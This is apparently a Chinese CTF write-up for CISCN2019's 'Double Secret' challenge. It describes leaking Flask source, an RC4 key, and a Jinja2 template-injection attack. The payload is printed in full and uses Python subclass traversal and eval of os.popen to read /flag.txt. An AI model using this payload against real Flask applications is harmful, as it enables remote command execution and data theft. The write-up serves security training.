[CISCN2019 华东南赛区]Double Secret(RC4加密)
我们打开页面,同时要我们寻找secret,
这就很明显了吧,我们访问secret页面
然后页面提示要我们输入secret的值,那不就是传参嘛,我们随便传一个值
1 | ?secret=1 |
我们传入1,页面却回显了d,说明页面对我们传入的内容进行了加密,我们尝试增加参数的长度
1 | ?secret=111111111111111111 |
得到报错信息,源码直接泄露了
1 | if(secret==None): |
我们对代码进行审计,如果secret是空,就会返回错误信息,如果传入了值,就会进行RC4解密,密钥是”HereIsTreasure”
所以我们需要对传入的secret进行RC4加密。我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。
加密脚本
1 | # -*- coding: utf-8 -*- |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %} |
得到flag